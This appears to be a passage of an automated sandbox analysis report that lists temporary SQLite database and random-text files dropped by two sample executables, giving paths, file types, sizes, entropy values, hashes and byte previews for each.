SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9B6A.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9B8A.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9B9B.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9BAB.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9BBC.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA68E.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\Temp\tmpA69E.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\Temp\tmpA69F.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\Temp\tmpC018.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC028.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC048.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC059.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC73F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC750.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC770.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC781.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC9F6.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\Temp\tmpCA07.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\Temp\tmpCA18.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
